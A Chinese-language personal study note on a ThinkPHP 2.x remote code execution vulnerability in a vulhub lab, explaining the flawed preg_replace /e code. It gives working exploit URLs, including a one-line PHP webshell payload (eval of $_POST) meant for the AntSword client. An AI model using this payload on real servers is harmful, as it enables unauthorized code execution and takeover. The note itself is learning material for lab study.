thinkphp2.x任意代码执行漏洞学习笔记
漏洞实验环境靶机:Ubuntu虚拟机攻击机:Windows10
漏洞条件:thinkphp2.x && php版本为5.6.29以下
漏洞利用目标函数:preg_replace
漏洞实验环境
靶机:Ubuntu虚拟机
攻击机:Windows10
开启vulhub靶场-打开docker
cd vulhub/thinkphp/2-rce
docker-compose up -d
通过 docker ps 查看 开启的8080端口
输入错误url地址报错显示think PHP版本信息为2.1:
通过浏览器插件Wappalyzer或者F12查看网络报文可以看到php版本为5.5.38
漏洞利用方式:
查看phpinfo()
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
构造一句话木马
http://172.18.128.81:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}
直接将url构造好了复制到蚁剑一键连接即可,此方法不需要将一句话木马写到服务器上,不用存储,即插即用,最是方便。
到此为止,漏洞利用简单的结束了
接下来的原理,把我这个没有学过php的小白看的很难受。
接下来就是一个小白视角对这个漏洞原理的理解。
漏洞原理
漏洞存在的文件:
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
关键漏洞代码:
self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
首先请出本场主角
preg_replace('正则规则','替换字符','目标字符')
/e为可执行模式
如果该正则规则表达式中使用了/e修饰符,那么就会存在代码执行漏洞
thinkphp 2.x有漏洞的代码是:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
对应上面的表达式规则就是
正则表达式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',
替换字符: '$var[\'\\1\']="\\2";'
目标字符: implode($depr,$paths))
可控的位置是implode($depr,$paths))
implode是将数组拼接成字符串,
作用是将传过来的$path,以$depr为分隔符连接起来。
$depr表示 网页路径"分隔符"
$path 是从
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
传递过来,explode是将字符串以$depr,打散成数组,
也就是把 a/b/c/${@print(eval($_POST[1]))} 打散重组
(其实这里还是没有理解,查了php文档,sever里面path_info的内容是'?'前面的东西,但这次poc拿到的看来是'?'后面的东西,但他后面接收的参数确实是$path,不懂啊,有大佬的话希望能指导指正。)
'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'正则表达式匹配的分析:
首先 \w+匹配到一个以上字符,接下来$depr 匹配到一个网页路径分隔符,
([^'.$depr.'\/]+),首先[^abcd]表示匹配abcd以外的所有字符,因此,原式所匹配的规则为匹配一个
或多个除了网页分隔符和“\”以外的字符,将输入匹配到的结果为a/b, c/${@print(eval($_POST[1]))},
php这里面@符号,好像是为了程序不报错的
preg_replace函数的理解:
举个栗子:
preg_replace('/aaa(.+?)aaa/ies',$a,$b)
’i‘取消大小写敏感
当$a为一个可以传递参数的函数列如test(),$b为一个匹配到正则表达式的字符串如"aaaaabbbbaaaaa"
最后输出的结果=test(bbbb)函数处理的结果加上[aaaa]
原本应该被匹配替换掉的bbbb竟然被作为了参数传入了替换的函数中去,并且参数被执行了,所以当替换的目标字符可控,我们就可以构造想要被执行的函数,比如写个一句话木马
还有一个知识点是${}里面写的变量名为已知函数名称时, 函数会被执行,输出结果会以报错的形式回显出来
我写了两个print,结果都执行了,看起来是里面的几个嵌套都能执行。
'$var[\'\\1\']="\\2";'
这个替换规则一个就是把前面的正则表达式匹配到的第一个数据作为键第二个数据作为值拼一起组成一个数组。
最后把想要执行的函数写进去,最后在index.php执行,这个页面就被构造成一个包含了恶意函数的网页了。
大概了解了一下为什么是index.php
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是: http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...] 如果不支持PATHINFO的服务器可以使用兼容模式访问如下: http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
个人学习笔记,参考大量前辈经验,恕我愚昧,还是不能完全理解,毕竟编程的基础太差了啊......
vulhub下载地址:Vulhub - Docker-Compose file for vulnerability environment
更多推荐
所有评论(0)